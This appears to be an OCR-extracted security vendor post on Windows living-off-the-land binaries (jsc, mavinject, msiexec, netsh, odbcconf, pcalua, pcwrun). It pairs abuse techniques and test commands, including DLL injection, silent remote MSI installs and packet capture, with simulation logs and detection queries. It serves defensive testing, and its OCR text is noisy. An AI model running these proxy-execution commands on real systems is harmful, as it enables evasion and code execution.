jsc.exe is a command-line tool that is included with Microsoft’s .NET Framework. It stands for “JavaScript Compiler” and is

used to compile JavaScript code into .NET bytecode, which can be executed by the Common Language Runtime (CLR).

The jsc.exe tool can be used to create standalone applications, Windows services, or console applications that run on the

NET Framework. It can also be used to create code libraries that can be used by other .NET applications.
TTPs and tactics

o Defense Evasion: Obfuscated Files or Information: Compile After Delivery (T1027.004)
How do the adversaries use it?

An attacker can deliver a source code file containing the malicious code to the target system and then use jsc.exe to compile
the code into an executable file. By compiling the code on the target system, the attacker can avoid detection by security

software that may have signatures or behavioral patterns for known malicious executables.

The use of jsc.exe in this context requires that the attacker has already gained access to the target system and has the
necessary permissions to execute the compiler. Once the code is compiled, the attacker can execute it to achieve their

malicious goals, such as stealing sensitive data or taking control of the compromised system.
AttackIQ Scenarios
Compile After Delivery using “jsc.exe” Script
Description
This scenario will execute the following command:
jsc.exe aig_js_code.js
The content of the aiq_il_code.txt is:
print('AttackIQ compiled JScript binary has been executed');

After compiling the binary, the scenario will execute the compiled file and search for the message “AttackIQ compiled

JScript binary has been executed” in the stdout.

The scenario will be marked as Not Prevented if the message “AttackIQ compiled JScript binary has been executed” is

present in the stdout of the compiled binary execution.

Execution
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Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected 02/27/2023 03:12:39 pm 02/27/2023 03:12:45 pm
i= Activity Details ~
M Info A Warning @ Error 2 Advanced
M (82/27/2623 83:12:41 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.8\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\g9HDoeba4qzht\\jsc.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\g9HDoebadqzht\\attackiq-script-error-log-1fealeb3-836b-44ec-8442-a01ed2609fb9.json’ |

I (82/27/2023 83:12:45 pm) Script output: "Executing C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\jsc.exe aiq_js_code.js
Microsoft (R) JScript Compiler version 14.00.4884
for Microsoft (R) .NET Framework version 4.0.38319
Copyright (C) Microsoft Corporation. ALl rights reserved.

Executing aiq_js_code.exe

AttackIQ compiled JScript binary has been executed
Successfully deleted the file aiq_js_code.exe.

P (82/27/2023 03:12:45 pm) Reading command output file for test pattern: "AttackIQ compiled JScript binary has been executed”
M (02/27/2023 ©3:12:45 pm) Complete generic_script_execution_util output: "Executing C:\WINDOWS\Microsoft.NET\Framework\v4.8.38319\jsc.exe aiq_js_code.js
Microsoft (R) JScript Compiler version 14.00.4084

(Click for Larger),

Scenario I0Cs

[(process:binary_ref.name LIKE '%\jsc.exe' AND process:command_line LIKE '%.js%')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

Ccsc.exe — cvtres.exe

on the other hand, the compiled binary (aiq_js_code.exe) will have the following one:

ai_exec_server.exe —» AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

aiq_js_code.exe

. W ai_exec_server.exe
AiRunCommandAsUser exe
- AiRunCommandAsUser exe
. Ppython.exe

.. Ppython exe

... EMpowershell exe

4... EMpowershell exe

EMpowershel exe

¥ aiq_js_code exe

W+ aiq_js_code.exe

M powershell exe

P python exe

- AiRunCommandAsUser exe

(Click for Larger),

Sigma Rules

2876 2 Process Create
6340 <2 Process Start
6340 ¢ Process Create
9516 <2 Process Start
9516 &2 Process Create
3204 <2 Process Start
3204 <2 Process Create
9428 <2 Process Start
9428 <2 Process Create
3992 2 Process Start
3992 ¢®Process Exit
9428 2 Process Exit
3204 &2 Process Create
8388 2 Process Start
8388 < Process Exit
3204 <2 Process Exit
9516 <2 Process Exit
6340 <2 Process Exit

C:\Program Files\Attack|Q\Agent \AiRunCommandAsUser.exe
C:\Program Files\Attack|Q\Agent\engine\py3\python exe
C:A\WINDOWS\System 32\WindowsPowerShell\v1.0\powershell .exe
C:\WINDOWS\Microsoft. NET\Framework \v4.0.30319\jsc.exe

C:\Windows\Microsoft NET\Framework \v4.0.30319\cvires exe

C:\Users\ADMINI~1\AppData\Local\ Temp\g9HDoeba4qzht \aiq_js_code exe

¢ /rules/windows/process creation/proc creation win lolbin jsc.yml

Back to Top
Mavinject.exe

Binary description

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 6340, Command line: "
Parent PID: 2876, Comman...
PID: 9516, Command line: "
Parent PID: 6340. Comman.
PID: 3204, Command line: C...
Parent PID: 9516, Comman...
PID: 9428, Command line: "...
Parent PID: 3204, Comman...
PID: 3992, Command line: C..
Parent PID: 9428, Comman...
Exit Status: 0, User Time: 0....
Exit Status: 0. User Time: 0...
PID: 8388, Command line: "
Parent PID: 3204, Comman...
Exit Status: 0, User Time: 0....
Extt Status: 0, User Time: 0....
Exit Status: 0, User Time: 2.
Exit Status: 0, User Time: 0....

Mavinject.exe is a legitimate Windows system file that is part of the Microsoft Application Virtualization (App-V) platform.

This file is used to inject or launch virtualized applications in the App-V environment. The App-V platform allows

applications to be virtualized and streamed to client computers without the need for local installation.

TTPs and tactics
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How do the adversaries use it?

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection),
allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL ). Since
mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security

products because the execution is masked under a legitimate process.

AttackIQ Scenarios

System Binary Proxy Execution using “mavinject.exe” Script

Description

This scenario will execute a binary that will sleep for 15 seconds.

After doing that, the scenario will grab its PID and execute the following command:
mavinject.exe $sleep_pid /INJECTRUNNING injectable_dll.d1l

The DLL injectable_dll.dll will create a file in the temp directory.

The scenario will verify if the file exists and mark the scenario as not prevented. The scenario will be marked as prevented if

the file does not exist.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
~  Generic Script Execution Critical Not Prevented Not Detected - 02/27/2023 03:35:34 pm 02/27/2023 03:36:06 pm
= Activity Details ~
M Info Warning @) Error 1 Advanced
P (02/27/2023 03:35:37 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\vi.@\powershell.exe ['-ExecutionPolicy’, 'bypass’, '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\fUnTOwloahtm6\\mavinject.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\fUnTOwToahtm6\\attackiq-script-error-log-e9a@392d-coba-449b-ae7b-978d897428d7. json" ]

o (82/27/2623 03:36:06 pm) Script output: "Executing mavinject 268 /INJECTRUNNING injectable_d1l.d1l
Waiting 15 seconds before verifying success.

DLL has been successfully injected.

Succesfully removed C:\Users\ADMINI~1\AppData\Local\Temp\attackiq_injected_d11_file.log

I (92/27/2623 03:36:66 pm) Script "mavinject.ps1® execution was successful

M (92/27/2023 83:36:06 pm) Successfully executed script "mavinject.ps1”

M (02/27/2623 03:36:15 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\fUnTOwloahtm6\mavinject.ps1’ to delete does not exist anymore.
M (02/27/2623 03:36:15 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\fUnTOwloahtmé' to delete does not exist anymore.

(Click for Larger)
Scenario I0OCs

[((process:parent_ref.binary_ref.name != 'C:\Windows\System32\AppVClient.exe') AND process:command_line LIKE
"% /INJECTRUNNING %')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

cmd.exe — mavinject.exe
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. W ai_exec_server.exe 2876 2 Process Create  C:\Program Files\Attack IQ\Agent\AiRunCommandAsUser exe SUCCESS PID: 2516, Command line: ...
iRunCommandAsUser.exe 2516 <2 Process Start SUCCESS Parent PID: 2876, Comman...
AiRunCommandAsUser.exe 2516 ¢®Process Create  C:\Program Files\Attack IQ\Agent\engine \py3\python exe SUCCESS PID: 9440, Command line: "...

. Ppython exe 9440 2 Process Start SUCCESS Parent PID: 2516, Comman...
.. Ppython exe 9440 <®Process Create  C:\WINDOWS \system32\cmd exe SUCCESS PID: 7260, Command line: C..
:3... Ppython.exe 9440 <®Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe SUCCESS PID: 380, Command line: C:...
... EMpowershel exe 380 ¢ Process Start SUCCESS Parent PID: 9440, Comman...
... EMpowershell exe 380 <®Process Create C:\Users\ADMINI~1\AppData\Local\Temp'fUn TOw loahtm6\sleepingbinary5se... SUCCESS PID: 268, Command line: "C...
.. W sleepingbinarySsec exe 268 ¢2Process Start SUCCESS Parent PID: 380, Command |...
E¥powershell exe 380 <©Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 9276, Command line: "...
Ecmd exe 9276 <2 Process Start SUCCESS Parent PID: 380, Command ...
cmd exe 9276 2 Process Create  C:\WINDOWS\system32\mavinject.exe SUCCESS PID: 2388, Command line: m...

SUCCESS Parent PID: 9276, Comman

268 < Process Exit SUCCESS Exit Status: 0, User Time: 0....

. W-mavinject.exe 2388 2 Process Exit SUCCESS Exit Status: 0, User Time: 0....

.. Ecemd exe 9276 2 Process Exit SUCCESS Exit Status: 0. User Time: 0....

:0... E¥powershell exe 380 <@ Process Exit SUCCESS Exit Status: 0. User Time: 0....

PPpython exe 9440 <©Process Exit SUCCESS Exit Status: 0. User Time: 2....

.. - AiRunCommandAsUser.exe 2516 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0....
(Click for Larger)
Sigma Rules

Back to Top

Microsoft. Workflow.Compiler.exe

Binary description

Microsoft. Workflow.Compiler.exe is a command-line tool used in Microsoft’s Windows Workflow Foundation (WF) to

compile workflow definitions into executable code.
TTPs and tactics
o Defense Evasion: Trusted Developer Utilities Proxy Execution (T1127)
How do the adversaries use it?
An adversary could use this, too to compile and execute C# or VB.net code in a XOML file.
AttackIQ Scenarios
Trusted Developer Utilities Proxy Execution using “Microsoft. Workflow.Compiler.exe” Script
Description
This scenario will execute the following command:

Microsoft.Workflow.Compiler.exe aiq_csharp_code.xml aig_microsoft_workflow_compiler_results.xml

If the scenario is successful, the C# code will be executed and print “AttackIQ C# code has been executed” in the stdout. If

that string is present in the stdout the scenario will be marked as Not Prevented.
Execution
Scenario IOCs

[(process:binary_ref.name LIKE '%\Microsoft.Workflow.Compiler.exe')]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

Microsoft. Workflow.Compiler.exe — csc.exe — cvtres.exe
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12:20:66.3411629 P W ai_exec_server exe
12:20:56.3411744 PM 8- AiRunCommandbsl ser.exe
12:20:56.5501824 PM W AiRunCommandésl ser.exe
12:20056.5501906 P [ pythor.exe
12:21:04.0170796 PM B python.eve
12:21:04.0170921 PM E¥ powershell.exe

12:21:05 4494031 PM  £¥ powershell. exe
12:21:05.4434034 Pt W Microsoft ‘workflow. Compiler
12:21:08.3407043 P W
12:21:08.3407100 PM W- cac.exe
12:21:09.0277441 PM T cac.eve
12:21:09.0277544 PM T cvbres.exe
12:21:09.0536701 P 8- cvbes exe
12:21:.09.0723198 PM W

CSC.EXE

12:21:09.3967345 Ph B Microsoftworkflow. Compiler....

12:21:14.4868168 PM E¥ powerzhell.exe
12:21:14.7001885 P B python.eve
12:21:14. 7206094 PM 8- AiRunCommandbsl ser.exe

(Click for Larger)

Sigma Rules

Back to Top
Msiexec.exe

Binary description

Microzoftwork flow. Compiler...

https://www.attackig.com/2023/03 /16 /hiding-in-plain-sight /

2876 2 Process Cre... E:\Frnéram Flles\AttackID\Aéent\AlHunEommandAsU SEILEHE

2632 2 Process Start

2632 2 Process Cre... C:\Program Files\AttacklD\Agenttenginepy 3python. exe

7308 <2 Process Start

7308 2 Process Cre... CAWINDOWS S yetem324indowsPowers hellvw 1 D\powershell exe

352 <2 Process Start

3452 2 Process Cre... CAWINDOWS \Microsoft ME T\Framewark . 0. 30313 Microsolt %/ orkflow. Compiler. sxe

2616 o Process Start

2616 ¢ Process Cre... C:\windows\Microsoft NE TAFrameworkB44vd. 0. 3031 Shesc.eve

4032 <2 Process Start

4032 2 Process Cre... CAWindows\Microsoft NE T\FrameworkB444.0, 2031 Shovires. exs

2268 <2 Process Start
2268 o Process Exit
4032 <2 Process Exit
2616 2 Process Exit
3452 < Process Exit
7308 < Process Exit
2632 2 Process Exit
i -~

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 2632, Command lir
Parent PID: 2876, Comr
PID: 7308, Command lir
Parent PID: 2632, Comr
PID: 3452, Command lir
Parent PID: 7308, Comr
PID: 2616, Command lir
Parent PID: 3452, Comr
PID: 4032, Cammand lir
Parent PID: 2616, Come
PID: 2268, Command lir
Parent PID: 4032, Comr
Exit Status: 0, User Time
Exit Status: 0, User Time
Exit Status: 0, User Time
Exit Status: 0, User Time
Exit Status: 0. User Time
Exit Status: 0, User Time

Msiexec.exe is an executable file that is part of the Microsoft Windows Installer (MSI) application. It is responsible for

installing, modifying, and removing software applications on a Windows computer. MSI is a component of the Windows

operating system that provides a standardized way of packaging software applications for distribution and installation

TTPs and tactics

» Defense Evasion: System Binary Proxy Execution: Msiexec (T1218.007)

How do the adversaries use it?

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads such as local or network accessible MSI files

or DLLs.

AttackIQ Scenarios

System Binary Proxy Execution using “msiexec.exe” Script

Description

This scenario will then execute the following command:

msiexec.exe /q /i http://malware.scenarios.attackiq-ntm.com/msi_create_file/aiq_msi.msi

The MSI file will create a file in the temp directory when opened.

The scenario will verify if the file exists and mark the scenario as not prevented. The scenario will be marked as prevented if

the file does not exist.

Execution
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Name Critical Phase Prevention Detection Alerted Start Time End Time

v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 09:58:02 am 03/01/2023 09:58:09 am

= Activity Details

M Info Warning @ Error [ Advanced
M (83/01/2023 ©9:58:03 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.8\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\lLocal\\Temp
\\y2ddMjmfolixz\\msiexec.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp\\y2ddMjmfolixz\\attackiq-script-error-log-354addb6-19cb-40d6-bfe7-b26c3c7ecob9. json’ ]
[ (03/01/2623 ©9:58:09 am) Script output: "Executing msiexec.exe /q /i http://malware.scenarios.attackig-ntm.com/msi_create_file/aiq_msi.msi
Waiting 5 seconds prior to verify success
File C:\Users\ADMINI~1\AppData\lLocal\Temp\aig_msi_execution_output.txt exists. The scenario will be marked as Not Prevented.
Removing C:\Users\ADMINI~1\AppData\Local\Temp\aiq_msi_execution_output.txt.
Sucessfully removed C:\Users\ADMINI~1\AppData\Local\Temp\aiq_msi_execution_output.txt.
F2 (03/01/2823 69:58:09 am) Script "msiexec.ps1” execution was successful
M (03/01/2823 69:58:09 am) Successfully executed script "msiexec.psl”
M (03/01/2023 89:58:17 am) Clean Up - File 'C:\Users\ADMINI~1\AppData\lLocal\Temp\y2ddMjmfolixz\msiexec.ps1' to delete does not exist anymore.
™ (83/01/2623 @9:58:18 am) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\local\Temp\y2ddMjmfolixz' to delete does not exist anymore.

(Click for Larger)
Scenario I0Cs

[((process:binary_ref.name LIKE '%\msiexec.exe') AND (process:command_line LIKE '%/i%' OR process:command_line
LIKE '%-i%' OR process:command_line LIKE '%/package%' OR process:command_line LIKE '%-package%' OR
process:command_line LIKE '%/a%' OR process:command_line LIKE '%-a%' OR process:command_line LIKE '%/j%' OR

process:command_line LIKE '%-j%') AND (process:command_line LIKE '%/g%' OR process:command_line LIKE '%-q%')

AND (process:command_line LIKE '%http%' OR process:command_line LIKE '%\\\\\%'))]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

msiexec.exe

B- AiRunCommandAsUser exe 9624 ¢ Process Create C:\Program Files\Attack IQ\Agent\engine \py3\python exe SUCCESS PID: 6232, Command line: ...
. Ppython.exe 6232 <2 Process Start SUCCESS Parent PID: 9624, Comman...

;... I®python.exe 6232 ¢ Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0'\powershell exe SUCCESS PID: 8336, Command line: C...
12:58:... E¥powershell exe 8336 ¢2Process Start SUCCESS Parent PID: 6232, Comman...
12:58:... EMpowershell.exe 8336 2 Process Create C:\WINDOWS\system32\msiexec exe SUCCESS PID: 3936, Command line: ...
12:58:... {Simsiexec.exe 3936 <2 Process Start SUCCESS Parent PID: 8336, Comman...
12:58:... jSmsiexec exe 3936 <2 Process Ext SUCCESS Exit Status: 1603, User Time...
12:58.... EMpowershell.exe 5224 < Process Start SUCCESS Parent PID: 2876, Comman...
12:58:... E¥powershell exe 8336 2 Process Exit SUCCESS Exit Status: 0, User Time: 0....
12:58.... python.exe 6232 < Process bxit SUCCESS Exit Status: 0, User Time: 2....
12:58:... W ARunCommandAsUser.exe 9624 2 Process Exit SUCCESS Exit Status: 0, User Time: 0....

(Click for Larger)

Sigma Rules
 /rules/windows/process creation/proc creation win msiexec install remote.yml
Back to Top
Netsh.exe
Binary description

Netsh is a command-line utility in Windows operating systems that allows you to configure and troubleshoot network
settings. It provides access to many network configuration options, including network interfaces, protocols, filters, and
routing tables.

TTPs and tactics

o Credential Access: Network Sniffing (T1040)
» Discovery: Network Sniffing (T'1040)

How do the adversaries use it?
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An adversary with administrative access to a Windows system could use netsh to capture and analyze network traffic.

AttackIQ Scenarios

Network Sniffing using “netsh.exe trace” Script

Description

In this scenario, the following actions will take place:

o The scenario will execute netsh trace start capture=yes report=disabled

traceFile=C:\Users\Public\aiq_netsh_trace_capture.etl

o The scenario will ping 10 times the localhost to generate some traffic

o The scenario will stop the capture.

 If the aiq_netsh_trace_capture.etl file exists, the scenario will be marked as not prevented. Else, it will be marked as

prevented.

This scenario requires admin privileges.

Execution

Name Critical Phase Prevention Detection Alerted End Time
v Generic Script Execution Not Prevented Not Detected 03/01/2023 10:34:07 am 03/01/2023 10:34:20 am
= Activity Details ~
M Info Warning @ Error [ Advanced
™ (03/01/2023 10:34:08 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass’', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp

\\doNrTr@9uuv7y\\pkt_capture_with_netsh_trace.ps1’,

a19e-2¢87fefff46f. json' ]

I (83/@1/2623 10:34:26 am) Script output: "Starting capture

Trace configuration:

‘-ErrorLogFile’,

Status: Running
Trace File:
Append:: Off
Circular: on
Max Size: 512 MB
Report: Disabled
(Click for Larger)

Scenario I0Cs

[((process:binary_ref.name LIKE '%\netsh.exe') AND (process:command_line LIKE '%start%' AND

C:\Users\Public\aiq_netsh_trace_capture.etl

process:command_line LIKE '%trace%'))]

Binary process tree

'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\doNrTr89uuv7y\\attackig-script-error-log-4@eablee-0f3f-4baf-

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

netsh.exe

ai_exec_server.exe
AiRunCommandAsUser.exe
. - AiRunCommandAsUser.exe
1:34:0.. @python exe

0... Ppython.exe

... EMpowershell exe
Edpowershell exe

- netsh.exe

W netsh.exe

1:34; E¥powershell exe

1:34:1... EMpowershell exe

W netsh.exe

- netsh.exe

Edpowershell exe

1:34:2.. Ppython.exe

1:34:2.. W AiRunCommandAsUser.exe

(Click for Larger),

Sigma Rules

2876 ¢ Process Create
1380 ¢©Process Start
1380 < Process Create
7028 2 Process Start
7028 2 Process Create
4732 <2 Process Start
4732 2 Process Create
1436 <2 Process Start
1436 ¢ Process Exit
4732 <2 Process Create
4732 <2 Process Create
8284 <2 Process Start
8284 <2 Process Exit
4732 <2 Process Ext
7028 < Process Exit
1380 <2 Process Exit

C:\Program Files\Attack IQ\Agent\AiRunCommandAsUser exe
C:\Program Files\Attack IQ\Agent\engine'\py3\python exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe
C:\WINDOWS \system32\netsh exe

C:A\WINDOWS\system32\PING.EXE
C:A\WINDOWS\system32'\netsh.exe
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SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 1380, Command line: .
Parent PID: 2876, Comman...
PID: 7028, Command line: "'..
Parent PID: 1380, Comman
PID: 4732, Command line: C...
Parent PID: 7028, Comman...
PID: 1436, Command line: .
Parent PID: 4732, Comman...
Exit Status: 0, User Time: 0....
PID: 3724, Command i
PID: 8284, Command line: "...
Parent PID: 4732, Comman
Exit Status: 0, User Time: 0
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 2...
Exit Status: 0, User Time: 0



https://www.attackiq.com/wp-content/uploads/2023/03/image-20230301-133946.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230301-133946.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230301-133946.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230301-133713.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230301-133713.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230301-133713.png

https://www.attackig.com/2023/03 /16 /hiding-in-plain-sight /

* /rules/windows/process creation/proc creation win netsh packet capture.yml

Back to Top

Odbcconf.exe

Binary description

odbcconf.exe is a command-line tool that is used to manage ODBC (Open Database Connectivity) data sources on Windows
operating systems. ODBC is a standard software interface for accessing databases, and ODBC data sources are used to

define the connection details for accessing a particular database.
TTPs and tactics
How do the adversaries use it?

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse.

Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs
AttackIQ Scenarios

System Binary Proxy Execution using “odbcconf.exe” Script

Description

This scenario will execute the following command:
odbcconf.exe -f odbc.rsp

The file odbc.rsp contains:

REGSVR odbc.d1l
The DLL odbc.dll will create a file in the temp directory.

The scenario will verify if the file exists and mark the scenario as not prevented. The scenario will be marked as prevented if

the file does not exist.

Scenario I0Cs

[(((process:binary_ref.name LIKE '%\odbcconf.exe') AND (process:command_line LIKE '%-a%' OR
process:command_line LIKE '%-f%' OR process:command_line LIKE '%/a%' OR process:command_line LIKE '%/f%' OR
process:command_line LIKE '%regsvr%')) OR ((process:binary_ref.name LIKE '%\rundl132.exe') AND

process:parent_ref.binary_ref.name LIKE '%\odbcconf.exe'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

odbcconf.exe
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. W ai_exec_serverexe
AiRunCommandAs User exe
... B AiRunCommandAsUser exe
. Ppython exe
-3... Ppython.exe
. EMpowershel exe
. E¥powershell exe
- odbcconf exe
... - odbeconf exe
-3... EMpowershell exe
.. Ppython.exe
. W AiRunCommandAsUser exe

(Click for Larger)

Sigma Rules

https://www.attackiq.com/2023/03/16 /hiding-in-plain-sight /

2876 ¢2Process Create
7332 2 Process Start
7332 B Process Create
7032 <2 Process Start
7032 < Process Create
2472 2 Process Start
2472 ¢ Process Create
7384 2 Process Start
7384 < Process Ext
2472 &2 Process Exit
7032 < Process Exit
7332 2 Process Exit

C:\Program Files\AttackQ\Agent‘\AiRunCommandAsUser exe
C:\Program Files\Attack IQ\Agent'\engine \py3\python exe
CAWINDOW S\System 32\WindowsPowerShell\v1.0\powershell.exe

C:AWINDOW S\system32\odbcconf exe

e /rules/windows/process creation/proc creation win susp odbcconf.yml

Back to Top
Pcalua.exe

Binary description

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 7332, Command line: ...
Parent PID: 2876, Comman.
PID: 7032. Command line: ...
Parent PID: 7332, Comman.
PID: 2472, Command line: C...
Parent PID: 7032, Comman.
PID: 7384, Command line: "...
Parent PID: 2472, Comman.
Exit Status: 0. User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 2....
Exit Status: 0, User Time: 0....

Pcalua.exe is a legitimate Windows executable file that stands for “Program Compatibility Assistant LUA” or “Program

Compatibility Assistant Low User Access”. It is a component of the Windows operating system and is responsible for

detecting compatibility issues with software applications that are installed on your computer.

TTPs and tactics

How do the adversaries use it?

an attacker can exploit Pcalua.exe to run their own malicious code by disguising it as the legitimate file.

AttackIQ Scenarios

Indirect Command Execution using “pcalua.exe” Script

Description

In this scenario, the following actions will take place:

e A binary called AIQ_file_creator.exe would be dropped in the current working directory.

e The command “pcalua.exe -a AIQ_file_creator.exe” will be executed.

« If the execution succeeds, a folder and a file inside the TEMP directory will be created.

o If the file exists, the scenario will be marked as “not prevented.” Else, it will be marked as “prevented.”

Execution
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M Info A Wamning @ Error

Name Critical Phase Prevention Detection Alerted Start Time
v Generic Script Execution Critical Not Prevented Not Detected 03/01/2023 11:34:36 am
i= Activity Details
[ (83/01/2023 11:34:38 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File',

\\qM9Ahj6qjdt6j\\pcalua.psi’, '-ErrorLogFile’,

F1 (03/01/2623 11:34:44 am) Script output: "Executing pcalua.exe -a AIQ_file_creator.exe

Waiting § seconds prior to verify success

File C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt exists. The scenario will be marked as Not Prevented.

Removing C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_ Output_86961518.txt
Sucessfully removed C:\Users\administrator\AppData\Local\Temp\AIQ_File_ Creation_Dir\AIQ_Created_File Output_86961518.txt

FI (03/01/2623 11:34:44 am) Script "pcalua.psl” execution was successful

P (03/01/2623 11:34:44 am) Successfully executed script "pcalua.psi”

™ (93/61/2623 11:34:51 am) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\qH9Ahj6qjdt6j\pcalua.ps1’ to delete does not exist anymore.
P (03/01/2623 11:34:51 am) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\qM9Ahj6qjdt6j’ to delete does not exist anymore.

End Time

03/01/2023 11:34:44 am

F2 Advanced

'C:\\Users\\ADHINI~1\\AppData\\Local\\Temp
*C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\qM9Ahj6qjdt6j\\at tackiq-script-error-log-be5f79bf-4c1b-4367-8bb4-c3ce234e1c61 . json' |

(Click for Larger)

Scenario IOCs

[(process:binary_ref.name LIKE '%\pcalua.exe' AND process:command_line LIKE '% -a%')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

pcalua.exe — aiq_file_creator.exe

. W ai_exec_server exe

. - AiRunCommandAsUser exe

... @ AiRunCommandAsUser.exe
. Ppython exe

. Ppython exe

. EMpowershel exe

. E¥powershell exe

. W-pcalua.exe

W pealua.exe

. W aiq_file_creator.exe

W pealua.exe

¥ aiq_file_creator.exe

. EMpowershell exe

. Ppython.exe

. - AiRunCommandAsUser exe

(Click for Larger),

Sigma Rules

2876 <2 Process Create
1292 <2Process Start
1292 <2 Process Create
6276 <2 Process Stat
6276 2 Process Create
7828 ¢ Process Start
7828 ¢2Process Create
5640 2 Process Start
5640 < Process Create
5476 <2 Process Start
5640 <2 Process Exit
5476 < Process Exit
7828 2 Process Exit
6276 ¢2Process Exit
1292 < Process Exit

C:\Program Files\Attack|Q\Agent \AiRunCommandAsUser exe
C:\Program Files\Attack|Q\Agent‘\engine \py3'python exe
C:AWINDOW S\System 32\WindowsPowerShell\v1.0\powershell exe
CAWINDOWS\system32\pcalua exe

C:\Users\administrator\App Data \Local\ Temp\qM39Ahj6qjdt 6 \aiq_file_creator.exe

Back to Top
Pcwrun.exe

Binary description

pcwrun.exe is the is a legitimate Windows executable that will execute the Program Compatibility Wizard.

TTPs and tactics

o Defense Evasion: System Binary Proxy Execution (T1218)

How do the adversaries use it?

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 1292. Command line: "...
Parent PID: 2876, Comman.
PID: 6276, Command line: "...
Parent PID: 1292, Comman.
PID: 7828, Command line: C...
Parent PID: 6276, Comman.
PID: 5640, Command line: "
Parent PID: 7828, Comman.
PID: 5476, Command line: "...
Parent PID: 5640, Comman.
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 2....
Exit Status: 0. User Time: 0....

Adversaries may abuse this binary by leveraging the MSDT follina vulnerability through Pcwrun to execute arbitrary

commands and binaries.

AttackIQ Scenarios

System Binary Proxy Execution using “pcwrun.exe” Script
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Description

In this scenario, the following actions will take place:

o The downloaded binary is copied into the C:\Users\Public folder.
e The command pcwrun.exe /../..A$(C:\Users\Public\AIQ_file_creator.exe).exe is executed.
« If the binary is successfully executed, a file should be created in the temp folder. If the file exists, the scenario will be

marked as not prevented. Else, the scenario will be marked as prevented.

Execution
